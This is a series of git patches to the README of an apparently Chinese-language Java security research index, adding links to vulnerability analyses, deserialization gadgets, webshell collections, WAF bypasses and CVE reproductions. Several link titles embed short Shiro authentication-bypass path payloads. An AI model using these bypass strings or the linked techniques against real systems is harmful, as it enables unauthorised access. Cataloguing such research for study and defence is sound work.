远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) - [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) + - [Log4j2不出网检测(靠类型转换、危害有限思路值得学习)](https://cloud.tencent.com/developer/article/2036012) - [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) - [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/) - [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) From 244b858e9ee92f6717570aa8914d1a4cd05976ed Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 10 Jan 2024 10:28:59 +0800 Subject: [PATCH 084/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a6186c1..94bdbd0 100644 --- a/README.md +++ b/README.md @@ -403,7 +403,7 @@ - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) - + - [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/) From 14492e007dbb5c057b5d303a51935ee2609ee7f8 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 10 Jan 2024 10:30:41 +0800 Subject: [PATCH 085/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞) --- README.md | 23 +---------------------- 1 file changed, 1 insertion(+), 22 deletions(-) diff --git a/README.md b/README.md index 94bdbd0..fd0f299 100644 --- a/README.md +++ b/README.md @@ -278,36 +278,23 @@ ## 11.Spring - [浅谈SpringWeb请求解析过程(很不错的文章把低版本一些绕过的特性基本都提到了)](https://forum.butian.net/share/2214) - [浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283) - - [SpirngBoot下结合Tomcat实现无OOB方式下的回显](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/springboot-tomcat%E5%9B%9E%E6%98%BE/index.md) - - [低版本SpringBoot-SpEL表达式注入漏洞复现分析](https://y4tacker.github.io/2022/02/07/year/2022/2/%E4%BD%8E%E7%89%88%E6%9C%ACSpringBoot-SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/) - - [SpringCloud-SnakeYAML-RCE(高版本不可用)](https://y4tacker.github.io/2022/02/08/year/2022/2/SpringCloud-SnakeYAML-RCE/) - - [Spring Boot Vulnerability Exploit Check List](https://github.com/LandGrey/SpringBootVulExploit) - - [SSRF to Rce with Jolokia and Mbeans](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/SSRF%20to%20RCE%20with%20Jolokia%20and%20MBeans%20%E2%80%A2%20Think%20Love%20Share.pdf) - - [CVE-2022-22947 SpringCloudGateWay 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/CVE-2022-22947%20SpringCloudGateWay%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/index.md) - - [Spring Cloud Function-SPEL(利用面不大)](https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) - - [SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析](http://rui0.cn/archives/1158) - - [Spring Beans RCE分析(CVE-2022-22965)(我还是喜欢叫Spring4shell,自己懒得写了,这篇还可以,稍微注意下AccessLogValve这个类WBS)](https://xz.aliyun.com/t/11129) - - [Spring Data MongoDB SpEL表达式注入(CVE-2022-22980)(能看但是有些逻辑还是讲得很混乱总体而已还是好的作为参考即可)](https://xz.aliyun.com/t/11484) - - [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md) - - [Springboot devtools反序列化(难点在于secret的获取,当然比如有actuator端点暴露情况下就会变得容易)](https://novysodope.github.io/2022/05/11/77/) - [浅谈Spring中的Controller参数的验证机制(注意Hibernate Validator的正确配置)](https://forum.butian.net/share/2538) ## 12.Shiro - [Shiro RememberMe 漏洞检测的探索之路(长亭的一些总结非常不错)](https://stack.chaitin.com/techblog/detail?id=39) - - [Shiro另类检测方式](http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/) - [浅谈Shiro执行任意反序列化gadget的方案](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/%E6%B5%85%E8%B0%88Shiro%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96gadget%E7%9A%84%E6%96%B9%E6%A1%88/index.md) - [CVE-2010-3863权限绕过(通过/./admin绕过/admin,/abc/../admin)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2010-3863%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) @@ -321,7 +308,7 @@ - [CVE-2020-13933特殊场景权限绕过(通过/unauthorize/%3b)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2020-13933%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) - [SpringBoot2.3.0下Shiro<=1.5.1权限绕过(通过/aa;/%2e%2e/unauthorize绕过对/unauthorize拦截,当然也可以不用目录穿越/;y4tacker/unauthorize也可以)](https://github.com/Y4tacker/JavaSec/tree/main/11.Spring/SpringBoot2.3.0%E4%B8%8BShiro%3C%3D1.5.1%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87) - [Spring-Shiro1.5.2 Bypass(通过/unauthorize/a%252Fa绕过对/unauthorize/*的权限限制)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/Spring-Shiro1.5.2%20Bypass/index.md) -- [记一次 Shiro 的实战利用(突破限制shiro 550利用payload的长度,这种方式不能很好对抗检测文件落地,其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ) +- [记一次 Shiro 的实战利用(突破限制shiro 550利用payload的长度,这种方式不能很好对抗检测文件落地,其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ) @@ -335,7 +322,6 @@ - [半自动化挖掘request实现多种中间件回显](https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/) - ## 14. JSPWebshell - [JSP-Webshells集合(三梦的总结挺全面的利用点)](https://github.com/threedr3am/JSP-Webshells) @@ -344,11 +330,9 @@ - [JspWebshell编码混淆篇(unicode和html实体编码那些就懒得写了技术性不强)](https://y4tacker.github.io/2022/11/27/year/2022/11/%E6%B5%85%E8%B0%88JspWebshell%E4%B9%8B%E7%BC%96%E7%A0%81/) - ## 15.Waf - [Java文件上传大杀器-绕waf(针对commons-fileupload组件)](https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)/) - - [探寻Java文件上传流量层面waf绕过姿势系列一](https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/) - [探寻Java文件上传流量层面waf绕过姿势系列二](https://y4tacker.github.io/2022/06/21/year/2022/6/%E6%8E%A2%E5%AF%BBJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2waf%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E7%B3%BB%E5%88%97%E4%BA%8C/) - [Java反序列化数据绕WAF之加大量脏数据 | 回忆飘如雪 (gv7.me)](https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/) @@ -357,11 +341,9 @@ - [RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) - ## 16.漏洞复现 - Apache - - [Apache Commons Configuration 远程代码执行(虽然是配置文件RCE但也有学习意义)](https://xz.aliyun.com/t/11527) - [Apache Spark shell command injection vulnerability via Spark UI(之前很早前在我的各个知识星球分享了)](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-33891/index.md) - [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) @@ -384,16 +366,13 @@ - Spring - [Spring-Kafka-POC-CVE-2023-34040](https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040) - Nacos - - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - [Nacos 多次打非完美方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce) - - Adobe - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) - [Analysis CVE-2023-29300: Adobe ColdFusion Pre-Auth RCE](https://blog.projectdiscovery.io/adobe-coldfusion-rce/) - Smartbi - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) - - Others - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) From 49c22b0ce9e356b90f6916b01b5c8f0d3d99c932 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 22 Jan 2024 17:35:54 +0800 Subject: [PATCH 086/113] Update README.md Atlassian Confluence-Remote Code Execution(CVE-2023-22527) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fd0f299..784b9f5 100644 --- a/README.md +++ b/README.md @@ -383,7 +383,7 @@ - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) - [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/) - + - [Atlassian Confluence-Remote Code Execution(CVE-2023-22527)](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/) ## 17.模板引擎+表达式相关 From 9c248bdb99bc303813c550d05b42654bb2b6ae05 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 29 Jan 2024 10:26:49 +0800 Subject: [PATCH 087/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Jenkins文件读取漏洞拾遗(CVE-2024-23897) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 784b9f5..885302d 100644 --- a/README.md +++ b/README.md @@ -384,6 +384,7 @@ - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) - [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/) - [Atlassian Confluence-Remote Code Execution(CVE-2023-22527)](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/) + - [Jenkins文件读取漏洞拾遗(CVE-2024-23897)](https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html) ## 17.模板引擎+表达式相关 From e3286edb907fc22b95e7c98221f26bc66946de0c Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 26 Feb 2024 16:48:25 +0800 Subject: [PATCH 088/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit UTF-8 Overlong Encoding导致的安全问题 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 885302d..5d50e0a 100644 --- a/README.md +++ b/README.md @@ -76,6 +76,7 @@ - [JDK7u21](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/JDK7u21/index.md) - [AspectJWeaver写文件](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/AspectJWeaver/AspectJWeaver.md) - [反序列化在渗透测试当中值得关注的点](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%BD%93%E4%B8%AD%E5%80%BC%E5%BE%97%E5%85%B3%E6%B3%A8%E7%9A%84%E7%82%B9/index.md) +- [UTF-8 Overlong Encoding导致的安全问题(在绕过流量设备上非常有帮助)](https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg) - [构造java探测class反序列化gadget](https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA) - [对URLDNS探测class的补充(为什么本地明明没有这个类却有"DNS解析")](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/URLDNS%E6%8E%A2%E6%B5%8Bclass%E7%9A%84%E8%A1%A5%E5%85%85/index.md) - [利用Swing构造反序列化SSRF/RCE(JDK CVE-2023-21939)](https://github.com/Y4Sec-Team/CVE-2023-21939) From 53657f19e2f9426026c0ccf07ce127a708d0d635 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 5 Mar 2024 16:16:47 +0800 Subject: [PATCH 089/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5d50e0a..e45eb19 100644 --- a/README.md +++ b/README.md @@ -39,6 +39,7 @@ - [JEP290基础概念](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md) - [Java中的XXE](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Java%E4%B8%AD%E7%9A%84XXE/index.md) - [XML外部实体注入(XXE)攻击方式汇总(关于XXE可以延伸继续看看)](https://tttang.com/archive/1813/) + - [绕过WAF保护的XXE(一些通用的流量混淆方式)](https://xz.aliyun.com/t/4059?accounttraceid=04ba92e87b2342b9a14daca5812cc52aoxob&time__1311=n4mx0DnDBiitiQo4GNulxU2nD9iBDc70ZAnYD) - [通过反射扫描被注解修饰的类](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E6%89%AB%E6%8F%8F%E8%A2%AB%E6%B3%A8%E8%A7%A3%E4%BF%AE%E9%A5%B0%E7%9A%84%E7%B1%BB/index.md) - [低版本下Java文件系统00截断](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E4%BD%8E%E7%89%88%E6%9C%AC%E4%B8%8BJava%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F00%E6%88%AA%E6%96%AD/index.md) - [有趣的XSS之Normalize](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E6%9C%89%E8%B6%A3%E7%9A%84XSS%E4%B9%8BNormalize/index.md) From fa08334b04ce09b19397e87b70134d2df6514eba Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 24 Mar 2024 20:31:20 +0800 Subject: [PATCH 090/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index e45eb19..b33d7cf 100644 --- a/README.md +++ b/README.md @@ -435,6 +435,7 @@ ## 20.议题 - [Hacking FernFlower](https://y4tacker.github.io/2023/12/22/year/2023/12/Hacking-FernFlower/) + - [议题相关代码](https://github.com/Y4tacker/HackingFernFlower) From a99fcfe38e114bedcccdb36d43e0ce6883722559 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 26 Mar 2024 09:51:45 +0800 Subject: [PATCH 091/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新帆软channel接口反序列化漏洞分析(二次反序列化一些实战场景利用) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b33d7cf..b812beb 100644 --- a/README.md +++ b/README.md @@ -461,6 +461,7 @@ - [Java Web —— 从内存中Dump JDBC数据库明文密码(还挺好玩的)](https://mp.weixin.qq.com/s/QCfqO2BJuhSOr58rldZzxA) - [如何带依赖打包Jar](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Maven/index.md) - [一些Java二次反序列化的点(持续收集)](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E8%A7%A6%E5%8F%91%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E7%82%B9.md) + - [帆软channel接口反序列化漏洞分析(二次反序列化一些实战场景利用)](https://forum.butian.net/share/2806) - [自己写的OpenRasp分析](https://y4tacker.github.io/2022/05/28/year/2022/5/OpenRasp%E5%88%86%E6%9E%90/) - [Apache Unomi 表达式注入攻防](https://github.com/1135/unomi_exploit) - [JEXL3表达式注入](https://xz.aliyun.com/t/8099) From 8c84ea3ac77190fd83d4de5b954e63679243a023 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 1 Apr 2024 18:39:07 +0800 Subject: [PATCH 092/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新“Java安全攻防之Spring Cloud Gateway攻击Redis” --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b812beb..13b1ed7 100644 --- a/README.md +++ b/README.md @@ -189,6 +189,7 @@ - [看不见的 Jsp-WebShell 第二式增强之无痕](https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA) - [Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/) + - [Java安全攻防之Spring Cloud Gateway攻击Redis](https://mp.weixin.qq.com/s/6U1KaLrrtq2dxg55IYASFg) - Tools From 35c6418f32ac5224ae5f6ab8c9ad45150752f4af Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 9 May 2024 13:58:55 +0800 Subject: [PATCH 093/113] Update README.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新整理CrushFTP漏洞 --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 13b1ed7..913949f 100644 --- a/README.md +++ b/README.md @@ -375,7 +375,12 @@ - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) - [Analysis CVE-2023-29300: Adobe ColdFusion Pre-Auth RCE](https://blog.projectdiscovery.io/adobe-coldfusion-rce/) - Smartbi - - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) + - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) +- CrushFTP + - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) + - [浅析CrushFTP之VFS逃逸](https://y4tacker.github.io/2024/04/23/year/2024/4/%E6%B5%85%E6%9E%90CrushFTP%E4%B9%8BVFS%E9%80%83%E9%80%B8/) + - [CrushFTP Unauthenticated Remote Code Execution(CVE-2024-4040)](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis) + - [CrushFTP后利用提权分析(CVE-2024-4040)](https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/) - Others - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) @@ -384,7 +389,6 @@ - [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms) - [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514) - [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577) - - [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/) - [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/) - [Atlassian Confluence-Remote Code Execution(CVE-2023-22527)](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/) - [Jenkins文件读取漏洞拾遗(CVE-2024-23897)](https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html) From 59e20640ddb7601b10255aec5819e95093c6a9d2 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 20 May 2024 10:50:10 +0800 Subject: [PATCH 094/113] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 913949f..f2f7e2f 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,9 @@

2021年10月18日,梦的开始


+知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) +![Bug Hunter](https://github.com/Y4tacker/JavaSec/assets/56486273/08eab771-b1cd-4d97-a3a9-173b78fdc997) + ## 1.基础篇 From 79a23affff66e5d7454d8acd2814e8a0201d942e Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 20 May 2024 10:50:28 +0800 Subject: [PATCH 095/113] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f2f7e2f..ad2fd38 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,8 @@

2021年10月18日,梦的开始


-知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) +知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) + ![Bug Hunter](https://github.com/Y4tacker/JavaSec/assets/56486273/08eab771-b1cd-4d97-a3a9-173b78fdc997) From bcbb4525172a2a33ee30772edd90d3b710d51978 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 20 May 2024 10:51:40 +0800 Subject: [PATCH 096/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ad2fd38..a430c9b 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@
知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) -![Bug Hunter](https://github.com/Y4tacker/JavaSec/assets/56486273/08eab771-b1cd-4d97-a3a9-173b78fdc997) + ## 1.基础篇 From 4373be9973ab79f246dcaf25509a83c979707d59 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 23 May 2024 15:48:40 +0800 Subject: [PATCH 097/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index a430c9b..9d1499c 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@
知识星球试运营,后面主要会发一些应急漏洞的分析(前提我会😜) +Ps:想不想进随意,大部分漏洞我都会发在博客当中,少部分自己觉得不那么有意思的漏洞可能只会发在星球中 From afe3fc98188292748208d719e4b31e50435adfe6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 23 May 2024 15:49:37 +0800 Subject: [PATCH 098/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9d1499c..02116fe 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@
